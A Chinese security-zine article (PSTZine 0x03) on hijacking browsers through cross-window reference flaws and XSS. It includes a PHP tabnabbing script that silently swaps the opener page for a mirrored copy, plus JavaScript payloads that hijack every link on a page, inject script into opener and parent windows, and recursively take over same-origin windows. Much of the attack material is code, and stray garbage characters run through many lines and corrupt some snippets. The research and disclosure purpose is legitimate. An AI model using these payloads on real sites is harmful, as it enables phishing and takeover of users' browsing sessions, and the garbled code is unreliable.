[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

admin

                           ==Ph4nt0m Security Team==

* m" }2 F' C: P* x" v* V" w' b5 c                       Issue 0x03, Phile #0x05 of 0x07
' A3 m0 ]& J4 |
' {8 `/ H3 Q1 I, R5 W
5 v! a5 k2 a, P2 ]/ V% j- p/ S|=---------------------------------------------------------------------------=|
, t+ p& S& u1 j' S|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
7 z7 {! k) Y- E. q# ?|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
* j2 z% f4 k! k" R+ K|=------------------------=[      By rayh4c     ]=---------------------------=|
% l' P8 l8 L. C|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
2 l8 X7 ]7 h9 d1 D$ ?' V. w7 F|=---------------------------------------------------------------------------=|

5 n4 O: k# A( {4 L+ L
[目录]
# N' a; C1 p" k0 L, ^, _# Z5 y& v
1. 前言
2. 同源策略简叙
$ B4 ]  ?1 p: d! ^" E% b' Y3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
$ J- f' j8 [  k# S4 _4 [  z- j  4.1 父窗口引用子窗口的同源策略问题
- R# D3 t, N# d+ t+ s  g; Z  X9 O  4.2 子窗口引用父窗口的同源策略问题
$ g& s8 s5 E" y$ ?2 h5. 利用窗口引用漏洞劫持浏览器
: n5 P) ]3 ?" }- g9 |& f9 Z/ V6. 利用XSS漏洞劫持浏览器
  6.1 正向跨窗口劫持
8 D  [/ O  X( T/ r8 a8 j& F  6.2 反向跨窗口劫持
  6.3 极度危险的跨框架窗口引用劫持
: ]: @, g. X' N4 d7 H- y  6.4 极度危险的正反向跨窗口递归劫持
, M8 H2 h9 Q2 z8 A  6.5 完全控制浏览器
7. 后记
/ L4 |# ]6 E/ g) Y8. 参考

. }2 g4 X$ j2 E; z' h* l; Q
一、前言

    最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋
1 M& n( y7 `  E0 k( B/ w友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被
条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。
" Y0 W8 T' c9 D- K7 w0 i9 ^( d

二、同源策略简叙
" ~8 j5 J  L' Q
    同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以
! f/ E4 e1 E2 R( U& o$ t' e# P1 x从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都
" o. i- I) K+ c+ e( O" w& E3 w, s曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木
* B6 e$ e+ J; k' F3 }" W. b马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。

+ S. s6 W5 `  ?6 z: K9 Y
+ B) r0 n3 o# u. f三、理解window对象的同源策略
0 K$ p" ]) H5 r3 N- p% Z+ o7 U6 K5 I
    窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对
' b# R' w) h' W) Y. J" |7 [0 g象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：
, k1 F9 T" e' b6 r) r
, `1 S( p& x/ q. \/ x% F0 b! H--code-------------------------------------------------------------------------
<script language="javascript">
( \# t2 a& h0 H) @  H* dfor(p in window) document.write(p+"<br>");
</script>
-------------------------------------------------------------------------------

# Q# w: Y$ r+ g6 D3 J2 X* o0 Z    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方
法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，
  U. m  W" _- A# g* S% q" J8 D这些属性和方法就必须遵循同源策略。

( q: W) Q1 T, i: ], x( e    举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那
' m& M% r' d5 e2 O6 T- Y么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须
! r$ J' i, \! x0 F' Z3 H3 I的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这
- @. `. B( S# n9 t; o- f个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的
% w0 n7 Q% j8 P4 R; N" j值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
# \# s/ j0 [0 N属性并没有被拒绝访问。
  K+ l. l3 E2 n! a, P: u/ z- o
--demo.html--------------------------------------------------------------------
  Z2 L- M3 m8 ^* [7 G<script language="javascript">   
function allPrpos(obj) {      
* d( W0 C) t' K8 w      var props = "<table><tr><td>名称</td><td>值</td>";           
; h  }6 e) n4 Y+ S$ Y- ~      for(var p in obj){         
& x% Z1 F  F% J            if(typeof(obj[p])=="function"){   
                   obj[p]();   
             }else{                     
                  try   
                   {   
3 ?9 O+ b* j: Z* R                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
: m2 H& `! q' e0 S+ _) H4 z7 w                   }   
2 j0 W8 s+ d7 e4 G9 F                  catch (ex)   
                   {   
! S5 N' f5 J) o$ I8 [1 s                  
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
                   }   
( D8 P7 w9 x/ D- ?: R# W+ N                       
             }   
       }   
   
       document.write(props+"</table>");   
}   
   
/ l3 _  M  q/ }9 }* t3 t" }7 lfunction createWin() {
        newWin = window.open ("http://www.google.com");  
        setTimeout(function(){allPrpos(newWin)},2000);
0 M5 H3 ]8 d- L- s}

) W/ c. l' M" P( ~5 W</script>

  R- g! ]2 [; ~; F; ^; z& c<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------
2 L8 C6 U2 C" w$ m, [* J! p! g: F
6 F# x+ D# R2 q8 k
四、窗口引用功能中的同源策略漏洞
! z% Y1 p/ m5 m: G) P7 y
4.1 父窗口引用子窗口的同源策略问题

    去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，
3 C3 W# v% s* Q' P但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道
浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进
1 B. }. p! M2 F3 U9 `0 V# |行测试，会发现父窗口可以控制非同源子窗口location属性值。

--vul1.html--------------------------------------------------------------------
<script language="javascript">
5 O2 R# B3 [6 o9 f# Lfunction createWin() {  
        newWin = window.open ("http://www.google.com");  
& |7 w' J6 T4 F  W3 c        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
}
2 a4 M% ?  p& T% g1 f</script>
) A( ?7 L$ H% I7 ]  y! }' F
) Y+ r! X& }, U/ X" f<button onclick='createWin()'>创建一个非同源子窗口测试</button>
# L5 @7 u5 Q$ N-------------------------------------------------------------------------------
. }9 l8 K% g, U, ?0 v9 x9 \/ ?: f

3 @: j  V* M/ Y4.2 子窗口引用父窗口的同源策略问题
9 G& ^( E% x7 A3 |1 E2 A9 L
# E7 j; e! y  D4 y2 O( C" L    逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们
' S  a& w8 F) A& h, U可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定
会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。
' `5 Q! L, N, c2 s
; s3 i' A- m% ^--code-------------------------------------------------------------------------

javascript:window.opener.location = "http://www.80sec.com";void(0);

' y" ~; S& }9 r6 ?-------------------------------------------------------------------------------


五、利用窗口引用漏洞劫持浏览器
: F* w7 t% R$ ~4 V
; z2 p8 t" e4 @! J( i    经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子
' G" y% l% V$ u1 y- N) a0 r窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
! Q( ^) p6 f; M2 v9 n3 u# k; m3 G- a& N6 m
    我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产
0 f" Z" n# t7 T0 m生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或
者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
/ c# E& |$ Q( s# ^( E+ W7 e5 y后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下
5 J* v; N2 f0 P8 A) v  l: h6 O会产生什么可怕的后果。
* ]0 b# w( Z2 `  y; Y. O- z
( I7 X; d/ `+ Y0 R+ C    下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我
" o' W; X8 g- \0 ]们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时
候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可
. i, {( S1 ?% J$ [& l以做更多的事情，所有的一切仅仅是因为点击了一个链接。

--hjk_ref.php------------------------------------------------------------------
4 ]+ @' S8 ^! ^' \' [2 t8 j2 e, K( h9 ]<?php
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
}
if(isset ($_GET['ref'])) {
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
}
8 h7 S9 n2 N. v" a2 C+ K?>

<script language="javascript">
( D* X5 K; c: {* W- T3 b; CsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
& l$ p! _: d7 @6 `</script>
-------------------------------------------------------------------------------
9 ^% }8 D8 @$ d7 K4 N1 p+ g7 P
3 v) T  V! m  i1 A8 d- R$ p! V    注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。

0 W* t3 I2 l; F! a# W' a+ l
六、利用XSS漏洞劫持浏览器
! M& l! v& {: g9 w' ]
% W) v/ v4 H6 j7 ]7 @8 J  I    延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
: q$ g% d: m. D9 b% s9 i: b持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后
% m3 N# `2 F+ UXSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起
0 R" a% g  t8 |  k. D0 B讨论跨站师的终极技巧：

/ ?( ~, i  U% f6 I  c" B
, M4 G$ X2 X8 x" P6.1 正向跨窗口劫持
1 H6 E! g' @( c- `
( c8 ^4 Y' p3 ?. L* n& T    大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛
主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链
  q# s) ?& [0 m) Z6 c8 y9 {" H接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话
) T) M7 x8 Q, `, d: Y- @框脚本。
: U. [4 E( L0 H' a
/ n' p6 D3 b) s( _: F# K" d+ r--hijack_open.js---------------------------------------------------------------
" U0 R- B, ]/ i& h4 s
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
# {8 Y' \6 n: k- g
1 l" [( D, z( A- h- l0 d& n5 Z-------------------------------------------------------------------------------
$ q) U/ X( M# }: _( P! H- t

6.2 反向跨窗口劫持
6 P" s( C, F% D2 {
+ p7 J) P: s& Q# }% g, s( k; Q    同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代
7 u. w. h  S  N码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话
框脚本。

( P$ ]& `1 y+ ^% v5 P8 N--hijack_opener.js-------------------------------------------------------------

javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

-------------------------------------------------------------------------------


6.3 极度危险的跨框架窗口引用劫持
8 {: i5 c* X3 U. A% I( h% w# l1 ~; X: K8 k
    非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞
( l0 o! P9 }+ I$ E8 P可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就
适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个
( }; _$ X, i8 g. c4 g! F' M! O非持久型的XSS，如下：

<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
2 a- e" W4 o% P1 J: U5 f
    在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
) w6 E* z- B6 Y7 p% T  ^注入脚本。
8 I8 J1 N/ ^/ p: f2 i& R
. J: e7 b# Z7 T( @+ K0 R--hijack_frame_opener.js-------------------------------------------------------
! W1 \+ Q( C3 ?0 J6 |# A<script>
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
</script>
-------------------------------------------------------------------------------


/ q8 u: J8 L2 ?* o$ }% M/ |6.4 极度危险的正反向跨窗口递归劫持
& C, }. `& I( m# v- S$ T1 I$ w
  a, ^+ `  j. m6 d    luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window
的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过
异常处理规避之间跨域页面的访问异常，代码如下：
9 F% N; s) I3 l% o# n# U
--code-------------------------------------------------------------------------
9 f( L; L) U* `' l
$ {* s, x) Q9 m" `9 c  Sjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);

, V0 o4 {! }: O. G5 q-------------------------------------------------------------------------------
1 H: O# b7 d9 v, l1 ^+ Y9 Q3 M5 w. G
# f: y0 d" V. e    假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可
以劫持B域之前的A域页面，从而实现“隔空打击”。

' l# j' Q5 @' X9 z: C- z) Q    同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面
& B" a* [, M  b5 [" I& x9 p执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。

9 p% Y, f3 h1 H/ O' [; H    结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。


4 }. Q. T# e( ?6.5 完全控制浏览器

    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则
9 n/ D2 L! Z! b, n# a2 i0 P$ F是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
& h9 [5 m4 v6 W$ T( B: V2 p漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失
, ^/ b' j) K9 Z; g8 [而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再
& }8 x3 D& ]: J0 u列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站
师的终极目标 - 完全控制浏览器。
$ o1 y' J/ P9 ?/ u0 Z8 |

七、后记
1 e$ x7 z" s6 t8 Y) p$ z6 s
    文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全
与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
" A& H" O4 y) @- f, P5 \2 }* U过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
6 S! N7 m' y" o; Z7 l* v
. Q! p1 O1 T6 T; [. s- e3 G; N1 Z
0 `1 u& I' Z% j% W, b) A9 W: B八、参考
4 x0 f2 @" T9 M4 K
4 Q! `8 [8 r9 H) Q9 K4 W# k4 c9 s1. http://en.wikipedia.org/wiki/Same_origin_policy
' A# z( J0 S0 y* v  x  Y2. http://code.google.com/p/browser ... licy_for_DOM_access
3. http://www.w3.org/TR/Window/
" X/ y$ \) G* ]2 u* @2 M3 K9 x4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
5 E3 P7 I# N0 ~. {' J9 Z6. http://www.80sec.com/ms08-058-attacks-google.html

-EOF-